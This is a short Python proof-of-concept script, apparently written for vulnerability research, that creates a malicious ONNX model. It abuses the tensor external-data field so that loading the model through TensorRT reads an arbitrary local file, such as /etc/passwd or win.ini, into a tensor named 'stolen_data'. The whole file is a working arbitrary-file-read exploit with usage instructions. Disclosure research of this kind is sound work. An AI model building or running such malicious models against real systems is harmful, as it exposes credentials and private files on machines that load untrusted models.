#!/usr/bin/env python3
"""
Create a malicious ONNX model that reads an arbitrary file via TensorRT.

Usage:
    python create_malicious_model.py /path/to/target/file output.onnx [bytes_to_read]

Example:
    python create_malicious_model.py C:/Windows/win.ini exploit.onnx
    python create_malicious_model.py /etc/passwd exploit.onnx 1024
"""
from onnx import TensorProto, helper
import sys
import os

def create(target_path, output_path, read_bytes):
    n_floats = read_bytes // 4

    tensor = TensorProto()
    tensor.name = "stolen_data"
    tensor.data_type = TensorProto.FLOAT
    tensor.dims.extend([n_floats])
    tensor.data_location = TensorProto.EXTERNAL

    for k, v in [("location", target_path), ("offset", "0"), ("length", str(read_bytes))]:
        entry = tensor.external_data.add()
        entry.key = k
        entry.value = v

    X = helper.make_tensor_value_info("input", TensorProto.FLOAT, [n_floats])
    Y = helper.make_tensor_value_info("output", TensorProto.FLOAT, [n_floats])
    node = helper.make_node("Add", ["input", "stolen_data"], ["output"])
    graph = helper.make_graph([node], "exploit", [X], [Y], initializer=[tensor])
    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])

    with open(output_path, 'wb') as f:
        f.write(model.SerializeToString())
    print(f"[+] Model saved: {output_path} ({os.path.getsize(output_path)} bytes)")
    print(f"[+] Target: {target_path} ({read_bytes} bytes)")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_file> <output.onnx> [bytes]")
        sys.exit(1)
    target = sys.argv[1]
    output = sys.argv[2]
    nbytes = int(sys.argv[3]) if len(sys.argv) > 3 else 1024
    nbytes = (nbytes // 4) * 4  # Must be multiple of 4
    create(target, output, nbytes)